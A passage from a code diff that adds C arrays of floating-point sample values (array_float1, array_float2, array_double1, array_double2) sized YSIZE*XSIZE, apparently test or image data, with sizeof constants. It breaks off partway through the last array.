+357.761, 417.843, 412.381, 335.913, 363.223,
+270.369, 275.831, 278.562, 270.369, 262.176, 245.790, 226.673, 223.942,
+232.135, 229.404, 215.749, 207.556, 202.094, 202.094, 213.018, 221.211,
+243.059, 262.176, 245.790, 253.983, 240.328, 240.328, 234.866, 240.328,
+243.059, 259.445, 243.059, 223.942, 221.211, 232.135, 284.024, 322.258,
+385.071, 436.960, 352.299, 374.147, 401.457,
+281.293, 284.024, 267.638, 270.369, 245.790, 240.328, 221.211, 207.556,
+221.211, 226.673, 215.749, 210.287, 204.825, 204.825, 204.825, 207.556,
+218.480, 245.790, 256.714, 237.597, 234.866, 237.597, 251.252, 232.135,
+232.135, 232.135, 237.597, 237.597, 243.059, 248.521, 305.872, 314.065,
+395.995, 420.574, 395.995, 385.071, 401.457,
+289.486, 281.293, 273.100, 270.369, 251.252, 223.942, 213.018, 204.825,
+213.018, 221.211, 215.749, 210.287, 210.287, 213.018, 213.018, 207.556,
+210.287, 221.211, 243.059, 237.597, 229.404, 229.404, 245.790, 234.866,
+232.135, 229.404, 218.480, 232.135, 264.907, 284.024, 324.989, 324.989,
+406.919, 401.457, 393.264, 398.726, 415.112,
+292.217, 286.755, 281.293, 273.100, 253.983, 226.673, 213.018, 202.094,
+202.094, 215.749, 213.018, 210.287, 207.556, 213.018, 218.480, 215.749,
+207.556, 213.018, 226.673, 229.404, 221.211, 221.211, 229.404, 226.673,
+223.942, 213.018, 213.018, 232.135, 234.866, 264.907, 286.755, 311.334,
+395.995, 398.726, 404.188, 401.457, 409.650,
+292.217, 286.755, 281.293, 264.907, 251.252, 229.404, 196.632, 196.632,
+204.825, 210.287, 207.556, 204.825, 207.556, 215.749, 218.480, 218.480,
+210.287, 207.556, 223.942, 221.211, 218.480, 221.211, 218.480, 218.480,
+218.480, 210.287, 202.094, 202.094, 199.363, 210.287, 248.521, 300.410,
+360.492, 385.071, 415.112, 415.112, 395.995,
+292.217, 286.755, 281.293, 262.176, 251.252, 234.866, 199.363, 193.901,
+199.363, 204.825, 204.825, 207.556, 207.556, 213.018, 218.480, 218.480,
+218.480, 267.638, 218.480, 218.480, 223.942, 223.942, 218.480, 213.018,
+207.556, 199.363, 193.901, 196.632, 193.901, 202.094, 218.480, 294.948,
+324.989, 371.416, 431.498, 387.802, 374.147,
+292.217, 284.024, 275.831, 264.907, 232.135, 237.597, 204.825, 191.170,
+191.170, 202.094, 202.094, 204.825, 210.287, 213.018, 218.480, 223.942,
+300.410, 319.527, 300.410, 213.018, 221.211, 226.673, 221.211, 213.018,
+207.556, 199.363, 193.901, 188.439, 185.708, 193.901, 202.094, 259.445,
+327.720, 376.878, 404.188, 390.533, 379.609
+};
+
+const size_t array_float1_size = sizeof(array_float1);
+
+const float array_float2[YSIZE * XSIZE] =
+{
+210.287, 199.363, 207.556, 218.480, 215.749, 204.825, 223.942, 177.515,
+169.322, 174.784, 161.129, 161.129, 166.591, 196.632, 191.170, 182.977,
+177.515, 191.170, 193.901, 191.170, 185.708, 180.246, 177.515, 182.977,
+180.246, 180.246, 180.246, 180.246, 180.246, 180.246, 180.246, 180.246,
+180.246, 177.515, 172.053, 172.053, 169.322,
+204.825, 193.901, 193.901, 215.749, 221.211, 204.825, 221.211, 199.363,
+161.129, 177.515, 163.860, 163.860, 174.784, 199.363, 199.363, 185.708,
+180.246, 191.170, 196.632, 193.901, 185.708, 180.246, 180.246, 182.977,
+180.246, 180.246, 180.246, 182.977, 182.977, 182.977, 180.246, 182.977,
+180.246, 174.784, 172.053, 172.053, 172.053,
+207.556, 193.901, 180.246, 199.363, 221.211, 213.018, 218.480, 215.749,
+161.129, 180.246, 163.860, 161.129, 169.322, 202.094, 202.094, 193.901,
+182.977, 191.170, 199.363, 193.901, 185.708, 180.246, 177.515, 177.515,
+180.246, 180.246, 182.977, 182.977, 182.977, 182.977, 182.977, 182.977,
+180.246, 174.784, 174.784, 174.784, 174.784,
+207.556, 196.632, 174.784, 185.708, 215.749, 221.211, 218.480, 218.480,
+161.129, 185.708, 163.860, 161.129, 163.860, 204.825, 204.825, 199.363,
+182.977, 185.708, 199.363, 196.632, 185.708, 180.246, 177.515, 172.053,
+182.977, 182.977, 182.977, 182.977, 185.708, 182.977, 182.977, 180.246,
+177.515, 174.784, 177.515, 177.515, 177.515,
+215.749, 196.632, 172.053, 180.246, 199.363, 218.480, 226.673, 223.942,
+163.860, 177.515, 166.591, 166.591, 163.860, 180.246, 204.825, 204.825,
+177.515, 191.170, 199.363, 196.632, 185.708, 180.246, 177.515, 174.784,
+185.708, 182.977, 185.708, 185.708, 185.708, 182.977, 182.977, 180.246,
+177.515, 177.515, 177.515, 180.246, 177.515,
+221.211, 199.363, 169.322, 177.515, 196.632, 202.094, 223.942, 232.135,
+180.246, 161.129, 169.322, 163.860, 163.860, 172.053, 204.825, 207.556,
+185.708, 188.439, 196.632, 196.632, 185.708, 180.246, 180.246, 177.515,
+182.977, 185.708, 185.708, 185.708, 185.708, 185.708, 180.246, 180.246,
+174.784, 180.246, 177.515, 180.246, 180.246,
+229.404, 202.094, 174.784, 174.784, 191.170, 193.901, 213.018, 229.404,
+191.170, 158.398, 163.860, 161.129, 161.129, 172.053, 204.825, 218.480,
+199.363, 182.977, 196.632, 196.632, 185.708, 180.246, 180.246, 177.515,
+180.246, 185.708, 185.708, 185.708, 185.708, 185.708, 180.246, 177.515,
+177.515, 177.515, 180.246, 182.977, 185.708,
+237.597, 221.211, 180.246, 172.053, 177.515, 185.708, 207.556, 207.556,
+204.825, 161.129, 158.398, 161.129, 161.129, 163.860, 193.901, 251.252,
+177.515, 174.784, 202.094, 196.632, 188.439, 182.977, 177.515, 177.515,
+177.515, 185.708, 188.439, 185.708, 188.439, 182.977, 177.515, 177.515,
+177.515, 177.515, 182.977, 185.708, 188.439,
+234.866, 234.866, 199.363, 174.784, 169.322, 182.977, 204.825, 207.556,
+191.170, 166.591, 158.398, 158.398, 161.129, 163.860, 221.211, 185.708,
+161.129, 172.053, 202.094, 245.790, 270.369, 182.977, 177.515, 177.515,
+174.784, 182.977, 185.708, 185.708, 185.708, 182.977, 177.515, 177.515,
+180.246, 177.515, 180.246, 185.708, 185.708,
+232.135, 232.135, 218.480, 180.246, 182.977, 182.977, 221.211, 202.094,
+169.322, 172.053, 161.129, 158.398, 158.398, 163.860, 253.983, 166.591,
+161.129, 161.129, 185.708, 314.065, 207.556, 182.977, 180.246, 174.784,
+174.784, 180.246, 185.708, 185.708, 185.708, 180.246, 177.515, 177.515,
+180.246, 177.515, 174.784, 177.515, 188.439,
+245.790, 237.597, 226.673, 193.901, 202.094, 210.287, 226.673, 215.749,
+172.053, 163.860, 161.129, 161.129, 158.398, 158.398, 245.790, 166.591,
+161.129, 161.129, 182.977, 218.480, 193.901, 185.708, 180.246, 174.784,
+172.053, 172.053, 185.708, 185.708, 185.708, 180.246, 177.515, 180.246,
+182.977, 177.515, 174.784, 169.322, 237.597,
+248.521, 251.252, 234.866, 207.556, 213.018, 221.211, 232.135, 223.942,
+182.977, 161.129, 161.129, 161.129, 161.129, 163.860, 240.328, 196.632,
+161.129, 163.860, 202.094, 218.480, 191.170, 182.977, 180.246, 174.784,
+169.322, 163.860, 177.515, 185.708, 182.977, 180.246, 177.515, 182.977,
+180.246, 174.784, 169.322, 161.129, 303.141,
+229.404, 229.404, 237.597, 232.135, 237.597, 232.135, 229.404, 229.404,
+196.632, 161.129, 161.129, 161.129, 161.129, 161.129, 199.363, 193.901,
+169.322, 161.129, 273.100, 191.170, 191.170, 182.977, 180.246, 174.784,
+163.860, 158.398, 158.398, 182.977, 185.708, 180.246, 177.515, 180.246,
+174.784, 172.053, 161.129, 152.936, 357.761,
+218.480, 245.790, 237.597, 226.673, 240.328, 243.059, 229.404, 226.673,
+207.556, 174.784, 161.129, 161.129, 161.129, 158.398, 161.129, 264.907,
+174.784, 169.322, 193.901, 185.708, 191.170, 199.363, 180.246, 172.053,
+166.591, 158.398, 158.398, 169.322, 182.977, 180.246, 174.784, 177.515,
+172.053, 172.053, 166.591, 155.667, 406.919,
+234.866, 248.521, 251.252, 237.597, 232.135, 240.328, 226.673, 221.211,
+213.018, 188.439, 166.591, 161.129, 161.129, 161.129, 161.129, 166.591,
+226.673, 196.632, 182.977, 182.977, 188.439, 188.439, 180.246, 174.784,
+166.591, 196.632, 152.936, 155.667, 174.784, 174.784, 174.784, 174.784,
+177.515, 314.065, 409.650, 253.983, 412.381,
+264.907, 243.059, 248.521, 251.252, 243.059, 240.328, 202.094, 218.480,
+213.018, 193.901, 177.515, 161.129, 158.398, 161.129, 158.398, 161.129,
+193.901, 196.632, 182.977, 191.170, 191.170, 188.439, 182.977, 174.784,
+172.053, 180.246, 152.936, 147.474, 155.667, 161.129, 174.784, 237.597,
+379.609, 442.422, 436.960, 349.568, 385.071,
+256.714, 262.176, 264.907, 256.714, 243.059, 223.942, 193.901, 191.170,
+207.556, 199.363, 182.977, 166.591, 161.129, 161.129, 158.398, 161.129,
+166.591, 193.901, 182.977, 204.825, 191.170, 185.708, 191.170, 177.515,
+172.053, 172.053, 161.129, 152.936, 147.474, 150.205, 245.790, 330.451,
+406.919, 458.808, 376.878, 393.264, 428.767,
+270.369, 273.100, 253.983, 253.983, 223.942, 218.480, 191.170, 169.322,
+191.170, 196.632, 182.977, 172.053, 163.860, 163.860, 158.398, 158.398,
+163.860, 185.708, 191.170, 191.170, 188.439, 185.708, 215.749, 185.708,
+174.784, 169.322, 163.860, 161.129, 155.667, 155.667, 240.328, 327.720,
+412.381, 442.422, 420.574, 406.919, 423.305,
+281.293, 270.369, 259.445, 256.714, 229.404, 199.363, 182.977, 169.322,
+177.515, 188.439, 182.977, 174.784, 172.053, 174.784, 172.053, 161.129,
+163.860, 177.515, 193.901, 188.439, 188.439, 182.977, 213.018, 177.515,
+172.053, 166.591, 161.129, 166.591, 163.860, 185.708, 273.100, 349.568,
+423.305, 423.305, 415.112, 423.305, 447.884,
+284.024, 278.562, 270.369, 259.445, 234.866, 202.094, 182.977, 166.591,
+166.591, 180.246, 177.515, 172.053, 172.053, 174.784, 177.515, 172.053,
+163.860, 172.053, 191.170, 188.439, 182.977, 182.977, 182.977, 177.515,
+169.322, 163.860, 158.398, 155.667, 169.322, 158.398, 193.901, 319.527,
+409.650, 420.574, 428.767, 423.305, 445.153,
+284.024, 275.831, 270.369, 248.521, 229.404, 202.094, 161.129, 161.129,
+169.322, 174.784, 172.053, 166.591, 169.322, 174.784, 174.784, 174.784,
+166.591, 163.860, 188.439, 185.708, 182.977, 188.439, 182.977, 177.515,
+169.322, 161.129, 158.398, 155.667, 155.667, 152.936, 161.129, 284.024,
+374.147, 401.457, 434.229, 439.691, 431.498,
+284.024, 275.831, 270.369, 245.790, 232.135, 210.287, 163.860, 155.667,
+163.860, 169.322, 169.322, 169.322, 172.053, 174.784, 177.515, 177.515,
+180.246, 273.100, 182.977, 182.977, 188.439, 188.439, 182.977, 177.515,
+172.053, 163.860, 158.398, 152.936, 147.474, 150.205, 152.936, 210.287,
+333.182, 387.802, 453.346, 428.767, 409.650,
+284.024, 275.831, 264.907, 251.252, 210.287, 215.749, 174.784, 155.667,
+155.667, 169.322, 169.322, 169.322, 174.784, 177.515, 180.246, 177.515,
+314.065, 376.878, 352.299, 174.784, 185.708, 191.170, 185.708, 180.246,
+174.784, 163.860, 158.398, 152.936, 144.743, 144.743, 152.936, 169.322,
+314.065, 390.533, 428.767, 426.036, 434.229
+};
+
+const size_t array_float2_size = sizeof(array_float2);
+
+const double array_double1[YSIZE * XSIZE] =
+{
+148.914762, 145.451628, 148.914762, 155.841030, 154.109463, 147.183195,
+155.841030, 135.062226, 133.330659, 136.793793, 129.867525, 133.330659,
+136.793793, 148.914762, 150.646329, 143.720061, 141.988494, 150.646329,
+154.109463, 152.377896, 148.914762, 150.646329, 152.377896, 150.646329,
+140.256927, 145.451628, 147.183195, 147.183195, 145.451628, 148.914762,
+152.377896, 157.572597, 166.230432, 164.498865, 167.961999, 164.498865,
+154.109463,
+147.183195, 141.988494, 140.256927, 152.377896, 154.109463, 147.183195,
+154.109463, 143.720061, 128.135958, 136.793793, 131.599092, 133.330659,
+138.525360, 150.646329, 150.646329, 145.451628, 145.451628, 152.377896,
+155.841030, 154.109463, 150.646329, 147.183195, 150.646329, 152.377896,
+143.720061, 138.525360, 141.988494, 145.451628, 147.183195, 150.646329,
+155.841030, 164.498865, 166.230432, 164.498865, 164.498865, 159.304164,
+155.841030,
+147.183195, 140.256927, 136.793793, 145.451628, 155.841030, 150.646329,
+152.377896, 152.377896, 126.404391, 136.793793, 129.867525, 131.599092,
+136.793793, 152.377896, 152.377896, 150.646329, 147.183195, 155.841030,
+159.304164, 154.109463, 152.377896, 152.377896, 150.646329, 148.914762,
+145.451628, 141.988494, 141.988494, 143.720061, 150.646329, 154.109463,
+161.035731, 162.767298, 161.035731, 161.035731, 159.304164, 159.304164,
+166.230432,
+147.183195, 141.988494, 131.599092, 138.525360, 152.377896, 154.109463,
+152.377896, 154.109463, 126.404391, 138.525360, 129.867525, 129.867525,
+133.330659, 154.109463, 159.304164, 161.035731, 157.572597, 154.109463,
+162.767298, 159.304164, 155.841030, 154.109463, 152.377896, 145.451628,
+145.451628, 141.988494, 141.988494, 147.183195, 152.377896, 157.572597,
+162.767298, 161.035731, 161.035731, 154.109463, 155.841030, 166.230432,
+166.230432,
+150.646329, 143.720061, 129.867525, 133.330659, 143.720061, 154.109463,
+155.841030, 155.841030, 128.135958, 135.062226, 131.599092, 131.599092,
+131.599092, 145.451628, 162.767298, 173.156700, 154.109463, 159.304164,
+162.767298, 159.304164, 155.841030, 154.109463, 155.841030, 147.183195,
+145.451628, 143.720061, 143.720061, 150.646329, 157.572597, 159.304164,
+152.377896, 159.304164, 157.572597, 152.377896, 155.841030, 167.961999,
+164.498865,
+154.109463, 143.720061, 128.135958, 133.330659, 141.988494, 145.451628,
+155.841030, 159.304164, 135.062226, 124.672824, 131.599092, 129.867525,
+129.867525, 140.256927, 164.498865, 174.888267, 164.498865, 159.304164,
+164.498865, 161.035731, 155.841030, 154.109463, 155.841030, 150.646329,
+148.914762, 145.451628, 148.914762, 152.377896, 155.841030, 155.841030,
+150.646329, 155.841030, 154.109463, 155.841030, 154.109463, 169.693566,
+169.693566,
+159.304164, 145.451628, 129.867525, 131.599092, 140.256927, 140.256927,
+148.914762, 157.572597, 140.256927, 124.672824, 128.135958, 128.135958,
+129.867525, 140.256927, 180.082968, 187.009236, 161.035731, 159.304164,
+164.498865, 162.767298, 152.377896, 150.646329, 154.109463, 150.646329,
+147.183195, 147.183195, 152.377896, 154.109463, 161.035731, 157.572597,
+152.377896, 152.377896, 157.572597, 152.377896, 157.572597, 183.546102,
+187.009236,
+161.035731, 154.109463, 135.062226, 129.867525, 133.330659, 138.525360,
+147.183195, 148.914762, 147.183195, 126.404391, 124.672824, 126.404391,
+128.135958, 136.793793, 176.619834, 174.888267, 152.377896, 159.304164,
+161.035731, 157.572597, 150.646329, 150.646329, 148.914762, 150.646329,
+147.183195, 148.914762, 152.377896, 154.109463, 162.767298, 162.767298,
+155.841030, 152.377896, 147.183195, 148.914762, 169.693566, 188.740803,
+195.667071,
+159.304164, 161.035731, 143.720061, 131.599092, 128.135958, 136.793793,
+145.451628, 147.183195, 140.256927, 129.867525, 124.672824, 126.404391,
+128.135958, 136.793793, 181.814535, 148.914762, 148.914762, 159.304164,
+166.230432, 169.693566, 180.082968, 148.914762, 147.183195, 147.183195,
+147.183195, 152.377896, 155.841030, 155.841030, 161.035731, 159.304164,
+152.377896, 150.646329, 148.914762, 154.109463, 167.961999, 190.472370,
+188.740803,
+159.304164, 161.035731, 154.109463, 135.062226, 136.793793, 135.062226,
+154.109463, 145.451628, 129.867525, 131.599092, 126.404391, 124.672824,
+126.404391, 135.062226, 181.814535, 143.720061, 141.988494, 152.377896,
+143.720061, 185.277669, 164.498865, 145.451628, 147.183195, 145.451628,
+148.914762, 150.646329, 155.841030, 157.572597, 159.304164, 155.841030,
+152.377896, 150.646329, 154.109463, 155.841030, 157.572597, 171.425133,
+185.277669,
+166.230432, 162.767298, 157.572597, 141.988494, 145.451628, 148.914762,
+157.572597, 150.646329, 129.867525, 128.135958, 126.404391, 126.404391,
+126.404391, 133.330659, 174.888267, 148.914762, 143.720061, 154.109463,
+159.304164, 171.425133, 169.693566, 148.914762, 148.914762, 150.646329,
+143.720061, 145.451628, 154.109463, 154.109463, 159.304164, 159.304164,
+159.304164, 166.230432, 166.230432, 150.646329, 157.572597, 155.841030,
+169.693566,
+166.230432, 167.961999, 162.767298, 150.646329, 152.377896, 154.109463,
+159.304164, 155.841030, 136.793793, 124.672824, 126.404391, 126.404391,
+128.135958, 133.330659, 173.156700, 159.304164, 145.451628, 148.914762,
+169.693566, 173.156700, 159.304164, 150.646329, 152.377896, 152.377896,
+145.451628, 143.720061, 150.646329, 154.109463, 157.572597, 162.767298,
+162.767298, 166.230432, 161.035731, 150.646329, 150.646329, 145.451628,
+188.740803,
+161.035731, 159.304164, 164.498865, 159.304164, 162.767298, 161.035731,
+159.304164, 157.572597, 141.988494, 124.672824, 126.404391, 128.135958,
+128.135958, 131.599092, 164.498865, 154.109463, 147.183195, 145.451628,
+176.619834, 154.109463, 147.183195, 152.377896, 162.767298, 148.914762,
+141.988494, 143.720061, 141.988494, 157.572597, 162.767298, 167.961999,
+155.841030, 159.304164, 147.183195, 155.841030, 147.183195, 136.793793,
+216.445875,
+154.109463, 166.230432, 162.767298, 155.841030, 162.767298, 164.498865,
+157.572597, 157.572597, 147.183195, 131.599092, 124.672824, 126.404391,
+128.135958, 129.867525, 152.377896, 173.156700, 143.720061, 145.451628,
+145.451628, 143.720061, 147.183195, 152.377896, 155.841030, 147.183195,
+145.451628, 143.720061, 145.451628, 152.377896, 159.304164, 161.035731,
+155.841030, 154.109463, 145.451628, 155.841030, 162.767298, 136.793793,
+240.687813,
+161.035731, 167.961999, 167.961999, 161.035731, 159.304164, 164.498865,
+157.572597, 155.841030, 150.646329, 140.256927, 128.135958, 126.404391,
+126.404391, 128.135958, 147.183195, 167.961999, 164.498865, 164.498865,
+154.109463, 148.914762, 148.914762, 159.304164, 150.646329, 147.183195,
+145.451628, 155.841030, 148.914762, 147.183195, 157.572597, 150.646329,
+150.646329, 148.914762, 161.035731, 214.714308, 242.419380, 183.546102,
+247.614081,
+174.888267, 164.498865, 167.961999, 167.961999, 166.230432, 164.498865,
+145.451628, 152.377896, 150.646329, 141.988494, 135.062226, 126.404391,
+126.404391, 128.135958, 141.988494, 159.304164, 180.082968, 164.498865,
+152.377896, 154.109463, 150.646329, 154.109463, 148.914762, 147.183195,
+148.914762, 150.646329, 150.646329, 140.256927, 140.256927, 143.720061,
+157.572597, 183.546102, 226.835277, 264.929751, 261.466617, 212.982741,
+230.298411,
+171.425133, 174.888267, 176.619834, 171.425133, 166.230432, 155.841030,
+143.720061, 141.988494, 147.183195, 145.451628, 136.793793, 131.599092,
+128.135958, 128.135958, 135.062226, 140.256927, 154.109463, 166.230432,
+155.841030, 161.035731, 152.377896, 152.377896, 148.914762, 152.377896,
+154.109463, 164.498865, 154.109463, 141.988494, 140.256927, 147.183195,
+180.082968, 204.324906, 244.150947, 277.050720, 223.372143, 237.224679,
+254.540349,
+178.351401, 180.082968, 169.693566, 171.425133, 155.841030, 152.377896,
+140.256927, 131.599092, 140.256927, 143.720061, 136.793793, 133.330659,
+129.867525, 129.867525, 129.867525, 131.599092, 138.525360, 155.841030,
+162.767298, 150.646329, 148.914762, 150.646329, 159.304164, 147.183195,
+147.183195, 147.183195, 150.646329, 150.646329, 154.109463, 157.572597,
+193.935504, 199.130205, 251.077215, 266.661318, 251.077215, 244.150947,
+254.540349,
+183.546102, 178.351401, 173.156700, 171.425133, 159.304164, 141.988494,
+135.062226, 129.867525, 135.062226, 140.256927, 136.793793, 133.330659,
+133.330659, 135.062226, 135.062226, 131.599092, 133.330659, 140.256927,
+154.109463, 150.646329, 145.451628, 145.451628, 155.841030, 148.914762,
+147.183195, 145.451628, 138.525360, 147.183195, 167.961999, 180.082968,
+206.056473, 206.056473, 258.003483, 254.540349, 249.345648, 252.808782,
+263.198184,
+185.277669, 181.814535, 178.351401, 173.156700, 161.035731, 143.720061,
+135.062226, 128.135958, 128.135958, 136.793793, 135.062226, 133.330659,
+131.599092, 135.062226, 138.525360, 136.793793, 131.599092, 135.062226,
+143.720061, 145.451628, 140.256927, 140.256927, 145.451628, 143.720061,
+141.988494, 135.062226, 135.062226, 147.183195, 148.914762, 167.961999,
+181.814535, 197.398638, 251.077215, 252.808782, 256.271916, 254.540349,
+259.735050,
+185.277669, 181.814535, 178.351401, 167.961999, 159.304164, 145.451628,
+124.672824, 124.672824, 129.867525, 133.330659, 131.599092, 129.867525,
+131.599092, 136.793793, 138.525360, 138.525360, 133.330659, 131.599092,
+141.988494, 140.256927, 138.525360, 140.256927, 138.525360, 138.525360,
+138.525360, 133.330659, 128.135958, 128.135958, 126.404391, 133.330659,
+157.572597, 190.472370, 228.566844, 244.150947, 263.198184, 263.198184,
+251.077215,
+185.277669, 181.814535, 178.351401, 166.230432, 159.304164, 148.914762,
+126.404391, 122.941257, 126.404391, 129.867525, 129.867525, 131.599092,
+131.599092, 135.062226, 138.525360, 138.525360, 138.525360, 169.693566,
+138.525360, 138.525360, 141.988494, 141.988494, 138.525360, 135.062226,
+131.599092, 126.404391, 122.941257, 124.672824, 122.941257, 128.135958,
+138.525360, 187.009236, 206.056473, 235.493112, 273.587586, 245.882514,
+237.224679,
+185.277669, 180.082968, 174.888267, 167.961999, 147.183195, 150.646329,
+129.867525, 121.209690, 121.209690, 128.135958, 128.135958, 129.867525,
+133.330659, 135.062226, 138.525360, 141.988494, 190.472370, 202.593339,
+190.472370, 135.062226, 140.256927, 143.720061, 140.256927, 135.062226,
+131.599092, 126.404391, 122.941257, 119.478123, 117.746556, 122.941257,
+128.135958, 164.498865, 207.788040, 238.956246, 256.271916, 247.614081,
+240.687813
+};
+
+const size_t array_double1_size = sizeof(array_double1);
+
+const double array_double2[YSIZE * XSIZE] =
+{
+133.330659, 126.404391, 131.599092, 138.525360, 136.793793, 129.867525,
+141.988494, 112.551855, 107.357154, 110.820288, 102.162453, 102.162453,
+105.625587, 124.672824, 121.209690, 116.014989, 112.551855, 121.209690,
+122.941257, 121.209690, 117.746556, 114.283422, 112.551855, 116.014989,
+114.283422, 114.283422, 114.283422, 114.283422, 114.283422, 114.283422,
+114.283422, 114.283422, 114.283422, 112.551855, 109.088721, 109.088721,
+107.357154,
+129.867525, 122.941257, 122.941257, 136.793793, 140.256927, 129.867525,
+140.256927, 126.404391, 102.162453, 112.551855, 103.894020, 103.894020,
+110.820288, 126.404391, 126.404391, 117.746556, 114.283422, 121.209690,
+124.672824, 122.941257, 117.746556, 114.283422, 114.283422, 116.014989,
+114.283422, 114.283422, 114.283422, 116.014989, 116.014989, 116.014989,
+114.283422, 116.014989, 114.283422, 110.820288, 109.088721, 109.088721,
+109.088721,
+131.599092, 122.941257, 114.283422, 126.404391, 140.256927, 135.062226,
+138.525360, 136.793793, 102.162453, 114.283422, 103.894020, 102.162453,
+107.357154, 128.135958, 128.135958, 122.941257, 116.014989, 121.209690,
+126.404391, 122.941257, 117.746556, 114.283422, 112.551855, 112.551855,
+114.283422, 114.283422, 116.014989, 116.014989, 116.014989, 116.014989,
+116.014989, 116.014989, 114.283422, 110.820288, 110.820288, 110.820288,
+110.820288,
+131.599092, 124.672824, 110.820288, 117.746556, 136.793793, 140.256927,
+138.525360, 138.525360, 102.162453, 117.746556, 103.894020, 102.162453,
+103.894020, 129.867525, 129.867525, 126.404391, 116.014989, 117.746556,
+126.404391, 124.672824, 117.746556, 114.283422, 112.551855, 109.088721,
+116.014989, 116.014989, 116.014989, 116.014989, 117.746556, 116.014989,
+116.014989, 114.283422, 112.551855, 110.820288, 112.551855, 112.551855,
+112.551855,
+136.793793, 124.672824, 109.088721, 114.283422, 126.404391, 138.525360,
+143.720061, 141.988494, 103.894020, 112.551855, 105.625587, 105.625587,
+103.894020, 114.283422, 129.867525, 129.867525, 112.551855, 121.209690,
+126.404391, 124.672824, 117.746556, 114.283422, 112.551855, 110.820288,
+117.746556, 116.014989, 117.746556, 117.746556, 117.746556, 116.014989,
+116.014989, 114.283422, 112.551855, 112.551855, 112.551855, 114.283422,
+112.551855,
+140.256927, 126.404391, 107.357154, 112.551855, 124.672824, 128.135958,
+141.988494, 147.183195, 114.283422, 102.162453, 107.357154, 103.894020,
+103.894020, 109.088721, 129.867525, 131.599092, 117.746556, 119.478123,
+124.672824, 124.672824, 117.746556, 114.283422, 114.283422, 112.551855,
+116.014989, 117.746556, 117.746556, 117.746556, 117.746556, 117.746556,
+114.283422, 114.283422, 110.820288, 114.283422, 112.551855, 114.283422,
+114.283422,
+145.451628, 128.135958, 110.820288, 110.820288, 121.209690, 122.941257,
+135.062226, 145.451628, 121.209690, 100.430886, 103.894020, 102.162453,
+102.162453, 109.088721, 129.867525, 138.525360, 126.404391, 116.014989,
+124.672824, 124.672824, 117.746556, 114.283422, 114.283422, 112.551855,
+114.283422, 117.746556, 117.746556, 117.746556, 117.746556, 117.746556,
+114.283422, 112.551855, 112.551855, 112.551855, 114.283422, 116.014989,
+117.746556,
+150.646329, 140.256927, 114.283422, 109.088721, 112.551855, 117.746556,
+131.599092, 131.599092, 129.867525, 102.162453, 100.430886, 102.162453,
+102.162453, 103.894020, 122.941257, 159.304164, 112.551855, 110.820288,
+128.135958, 124.672824, 119.478123, 116.014989, 112.551855, 112.551855,
+112.551855, 117.746556, 119.478123, 117.746556, 119.478123, 116.014989,
+112.551855, 112.551855, 112.551855, 112.551855, 116.014989, 117.746556,
+119.478123,
+148.914762, 148.914762, 126.404391, 110.820288, 107.357154, 116.014989,
+129.867525, 131.599092, 121.209690, 105.625587, 100.430886, 100.430886,
+102.162453, 103.894020, 140.256927, 117.746556, 102.162453, 109.088721,
+128.135958, 155.841030, 171.425133, 116.014989, 112.551855, 112.551855,
+110.820288, 116.014989, 117.746556, 117.746556, 117.746556, 116.014989,
+112.551855, 112.551855, 114.283422, 112.551855, 114.283422, 117.746556,
+117.746556,
+147.183195, 147.183195, 138.525360, 114.283422, 116.014989, 116.014989,
+140.256927, 128.135958, 107.357154, 109.088721, 102.162453, 100.430886,
+100.430886, 103.894020, 161.035731, 105.625587, 102.162453, 102.162453,
+117.746556, 199.130205, 131.599092, 116.014989, 114.283422, 110.820288,
+110.820288, 114.283422, 117.746556, 117.746556, 117.746556, 114.283422,
+112.551855, 112.551855, 114.283422, 112.551855, 110.820288, 112.551855,
+119.478123,
+155.841030, 150.646329, 143.720061, 122.941257, 128.135958, 133.330659,
+143.720061, 136.793793, 109.088721, 103.894020, 102.162453, 102.162453,
+100.430886, 100.430886, 155.841030, 105.625587, 102.162453, 102.162453,
+116.014989, 138.525360, 122.941257, 117.746556, 114.283422, 110.820288,
+109.088721, 109.088721, 117.746556, 117.746556, 117.746556, 114.283422,
+112.551855, 114.283422, 116.014989, 112.551855, 110.820288, 107.357154,
+150.646329,
+157.572597, 159.304164, 148.914762, 131.599092, 135.062226, 140.256927,
+147.183195, 141.988494, 116.014989, 102.162453, 102.162453, 102.162453,
+102.162453, 103.894020, 152.377896, 124.672824, 102.162453, 103.894020,
+128.135958, 138.525360, 121.209690, 116.014989, 114.283422, 110.820288,
+107.357154, 103.894020, 112.551855, 117.746556, 116.014989, 114.283422,
+112.551855, 116.014989, 114.283422, 110.820288, 107.357154, 102.162453,
+192.203937,
+145.451628, 145.451628, 150.646329, 147.183195, 150.646329, 147.183195,
+145.451628, 145.451628, 124.672824, 102.162453, 102.162453, 102.162453,
+102.162453, 102.162453, 126.404391, 122.941257, 107.357154, 102.162453,
+173.156700, 121.209690, 121.209690, 116.014989, 114.283422, 110.820288,
+103.894020, 100.430886, 100.430886, 116.014989, 117.746556, 114.283422,
+112.551855, 114.283422, 110.820288, 109.088721, 102.162453, 96.967752,
+226.835277,
+138.525360, 155.841030, 150.646329, 143.720061, 152.377896, 154.109463,
+145.451628, 143.720061, 131.599092, 110.820288, 102.162453, 102.162453,
+102.162453, 100.430886, 102.162453, 167.961999, 110.820288, 107.357154,
+122.941257, 117.746556, 121.209690, 126.404391, 114.283422, 109.088721,
+105.625587, 100.430886, 100.430886, 107.357154, 116.014989, 114.283422,
+110.820288, 112.551855, 109.088721, 109.088721, 105.625587, 98.699319,
+258.003483,
+148.914762, 157.572597, 159.304164, 150.646329, 147.183195, 152.377896,
+143.720061, 140.256927, 135.062226, 119.478123, 105.625587, 102.162453,
+102.162453, 102.162453, 102.162453, 105.625587, 143.720061, 124.672824,
+116.014989, 116.014989, 119.478123, 119.478123, 114.283422, 110.820288,
+105.625587, 124.672824, 96.967752, 98.699319, 110.820288, 110.820288,
+110.820288, 110.820288, 112.551855, 199.130205, 259.735050, 161.035731,
+261.466617,
+167.961999, 154.109463, 157.572597, 159.304164, 154.109463, 152.377896,
+128.135958, 138.525360, 135.062226, 122.941257, 112.551855, 102.162453,
+100.430886, 102.162453, 100.430886, 102.162453, 122.941257, 124.672824,
+116.014989, 121.209690, 121.209690, 119.478123, 116.014989, 110.820288,
+109.088721, 114.283422, 96.967752, 93.504618, 98.699319, 102.162453,
+110.820288, 150.646329, 240.687813, 280.513854, 277.050720, 221.640576,
+244.150947,
+162.767298, 166.230432, 167.961999, 162.767298, 154.109463, 141.988494,
+122.941257, 121.209690, 131.599092, 126.404391, 116.014989, 105.625587,
+102.162453, 102.162453, 100.430886, 102.162453, 105.625587, 122.941257,
+116.014989, 129.867525, 121.209690, 117.746556, 121.209690, 112.551855,
